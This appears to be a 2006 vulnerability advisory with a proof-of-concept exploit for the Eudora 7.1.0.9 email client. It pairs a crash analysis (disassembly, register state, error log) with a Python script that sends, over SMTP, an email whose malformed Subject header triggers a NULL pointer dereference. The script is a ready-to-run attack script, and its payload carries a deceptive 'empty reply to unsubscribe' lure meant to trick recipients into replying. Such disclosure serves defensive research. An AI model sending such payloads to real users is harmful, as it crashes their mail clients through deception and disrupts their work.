"""
Qualcomm Eudora Email - SMTP Header Object NULL Pointer dereference
===================================================================
Vulnerable: Version 7.1.0.9, Windows XP SP2
Data......: 12th August 2006
Author....: posidron



Analysis
    A NULL pointer dereference occurs while parsing a malformed "Subject" header
    field, in the time, when user has write access to the "Subject" header field.
    This happens by generating a new email or by replying to an attackers email.

    WndHandle: 0x7c05068
    WndId: 0x13bc

    If a person receives a manipulated email, the person has just to right-click
    and to select "reply" in the opened context field. The attacker must select
    a well thought subject to trick the user into this procedure.

    (mfc71.dll)
    6A288F06    push    0
    6A288F08    call    MFC71.6A288ED8
    6A288F0D    mov     ecx, eax
    6A288F0F    xor     eax, eax
    6A288F11    test    ecx, ecx
    6A288F13    je      MFC71.6A29A327
    6A288F19    add     ecx, 18
    6A288F1C    push    esi
    6A288F1D    mov     esi, dword ptr ds:[ecx+4] ; crash!!
    6A288F20    test    esi, esi
    6A288F22    je      MFC71.6A291645
    
    State of registers after execution:
    
    EAX 00000000
    ECX 00000018
    EDX 6A33F164 ASCII "x;ÈW"
    EBX 00000003
    ESP 57C3D9DC
    EBP 57C3DA18
    ESI 74120948
    EDI 00000000
    EIP 6A288F1D MFC71.6A288F1D
    

    Written log entry after the exception occured:

    MAIN  8: 0.08 Dialog: "A buffer overflow has been detected in Eudora.
                          In rare cases a buffer overflow could be exploited to
                          compromise the security of your computer if you allow
                          Eudora to continue to run.\n"
    MAIN 8: 0.08 Dialog: "\n"
    MAIN 8: 0.08 Dialog: "Warning: Although quitting Eudora now will protect
                         from buffer overflow exploits, any work you have in
                         progress will not be saved and will be lost.\n"
    MAIN 8: 0.08 Dialog: "\n"
    MAIN 8: 0.08 Dialog: "Quit Eudora now?"
    MAIN 8: 0.09 Dialog: "Dismissed with 1395"

"""

import socket

class EmailCtrl:
    def __init__(self, debug=0):
        self.debug = debug

    def connect(self, host, port, timeout=5):
        self.s = socket.socket()
        self.s.settimeout(timeout)
        self.s.connect((host, port))

    def send(self, data, recv_flag=0):
        len = self.s.send(data)
        if self.debug == 1:
            print len
        return len

    def recv(self, len=256):
        recvbuf = self.s.recv(len)
        if self.debug == 1:
            print  recvbuf
        return recvbuf

    def quit(self):
        self.s.close()

payload = "jajjjjjajajajajajjjjjjjjjjjjjjjjjjjjjjajajajjajjjaja"*10
# Character encoding error, please sign off this newletter by send an empty reply
payload = "DailyLetter: To sign off, send an empty reply."+" "*50+payload

mail = EmailCtrl(debug=1)
mail.connect("127.0.0.1", 25)
mail.recv()
mail.send("HELO henkanpai\r\n")
mail.recv()
mail.send("MAIL FROM: posidron@henkanpai\r\n")
mail.recv()
mail.send("RCPT TO: posidron@henkanpai\r\n")
mail.recv()
mail.send("DATA\r\n")
mail.recv()
mail.send("From: posidron@henkanpai\r\n"
          "To: posidron@henkanpai\r\n"
          "Subject: %s\r\n"
          "Dear Sir or Madam,\n"
          "please send an empty reply, to sign off this newletter.\r\n"
          ".\r\n\r\n" % (payload))
mail.recv()
mail.quit()